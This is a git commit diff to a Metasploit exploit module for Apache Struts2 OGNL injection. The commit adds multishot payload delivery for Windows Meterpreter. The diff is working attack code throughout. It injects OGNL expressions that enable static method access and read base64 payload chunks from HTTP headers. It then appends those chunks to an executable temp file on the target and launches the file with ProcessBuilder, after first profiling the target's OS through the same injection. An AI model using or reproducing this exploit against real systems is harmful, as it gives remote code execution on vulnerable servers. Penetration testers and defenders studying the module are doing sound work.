struts2_namespace_ognl multishot OGNL payloads for Windows Meterpreter support

GSoC/Meterpreter_Web_Console
asoto-r7 2018-09-18 14:27:47 -05:00
parent ca0bf841e1
commit a9e6257891
No known key found for this signature in database
GPG Key ID: F531810B7FE55396
1 changed files with 164 additions and 31 deletions

View File

@ -24,7 +24,6 @@ class MetasploitModule < Msf::Exploit::Remote
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
@ -176,7 +175,7 @@ class MetasploitModule < Msf::Exploit::Remote
return ognl
end
def send_struts_request(ognl, payload: nil)
def send_struts_request(ognl, payload: nil, headers: nil)
=begin #badchar-checking code
pre = ognl
=end
@ -185,7 +184,9 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
if headers.nil?
headers = {'Keep-Alive': 'timeout=5, max=1000'}
end
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
@ -202,9 +203,13 @@ class MetasploitModule < Msf::Exploit::Remote
'headers' => headers
)
if resp && resp.code == 404
begin
if resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
rescue
fail_with(Failure::Unreachable)
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
@ -222,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Remote
resp
end
def profile_target
def send_profile
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
@ -281,14 +286,10 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
def profile_os
# Probe for the target OS and architecture
begin
properties = profile_target
properties = send_profile()
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
@ -297,10 +298,20 @@ class MetasploitModule < Msf::Exploit::Remote
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
return os
end
if (os.include? 'linux') || (os.include? 'nix')
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
os = profile_os()
if os && ((os.include? 'linux') || (os.include? 'nix'))
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
elsif os && (os.include? 'win')
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
@ -336,37 +347,40 @@ class MetasploitModule < Msf::Exploit::Remote
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
payload = generate_payload_exe
print_status("Generated #{payload.length} byte binary payload")
payload_b64 = [payload].pack("m").delete("\n")
# TODO: Remove debugging lines
# print_status(" CRC32: #{Zlib::crc32(payload).to_s(16)} #{payload.length}")
if payload_b64.length < 8100
send_payload_oneshot(payload_b64)
else
send_payload_multishot(payload)
end
end
def send_payload_oneshot(payload)
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','.tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
#TODO consider GZIP: ognl << %q|(#s.write(java.util.zip.GZIPInputStream(#d).read())).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
@ -375,8 +389,7 @@ class MetasploitModule < Msf::Exploit::Remote
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
r = send_struts_request(ognl, payload: payload)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
@ -387,4 +400,124 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
def ognl_create_file()
filename = datastore['TEMPFILE']
# f = path to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@java.io.File@createTempFile('#{filename}','.exe')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#f)|
r = send_struts_request(ognl)
begin
tempfile = r.headers['Location']
tempfile = tempfile[1..-(2+datastore['ACTION'].length)]
return tempfile
rescue
fail_with(Failure::UnexpectedReply,"Unable to create and locate temp file on target.")
end
end
def send_payload_multishot(payload)
tempfile = ognl_create_file()
print_status("Temp file created: #{tempfile}")
payload_cursor = 0
while payload_cursor < payload.length
payload_size = rand(4500..5000) # payload_size cannot exceed 5645 in my testing
payload_start = payload_cursor
payload_end = payload_cursor + payload_size
payload_end = payload.size if payload_end > payload.size
chunk_bin = payload[payload_start..payload_end]
chunk_b64 = [chunk_bin].pack("m").delete("\n")
print_status("Sending payload chunk: #{chunk_b64.length} bytes")
ognl_append_file(tempfile, chunk_b64)
payload_cursor = payload_end + 1
end
ognl_execute(tempfile)
end
def ognl_append_file(payload_file, payload_chunk)
data_header = datastore['HEADER'] + 'd'
file_header = datastore['HEADER'] + 'f'
headers = {
"#{data_header}": payload_chunk,
# TODO: Remove split for debugging
"#{file_header}": payload_file.split('.exe')[0],
}
# d = payload data
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
#TODO: Remove debugging
#ognl << %q|(#b=new java.io.FileOutputStream(#f+'.b64',1)).|
ognl << %q|(#s=new java.io.FileOutputStream(#f+'.exe',1)).|
#TODO: Remove debugging
#ognl << %q|(#b.write(#d.getBytes())).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
#TODO: Remove debugging
#ognl << %q|(#b.close()).|
ognl << %q|(#s.close()).|
# TODO: Remove debugging
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.headers['Location'].include? success_string
vprint_good("OGNL payload chunk sent successfully.")
return
else
fail_with(Failure::UnexpectedReply, "OGNL payload upload did not respond")
end
rescue
fail_with(Failure::UnexpectedReply, "OGNL payload upload failed")
end
end
def ognl_execute(file)
file_header = datastore['HEADER'] + 'f'
headers = {
"#{file_header}": file,
}
# f = path to temp file
# p = process handle
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#f=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{file_header}')).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#f)).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
r = send_struts_request(ognl, headers: headers)
begin
if r.code==302
print_good("OGNL payload executed successfully.")
else
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
end
rescue
vprint_status("TARGET RESPONDED: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while attempting to execute the payload")
end
end
end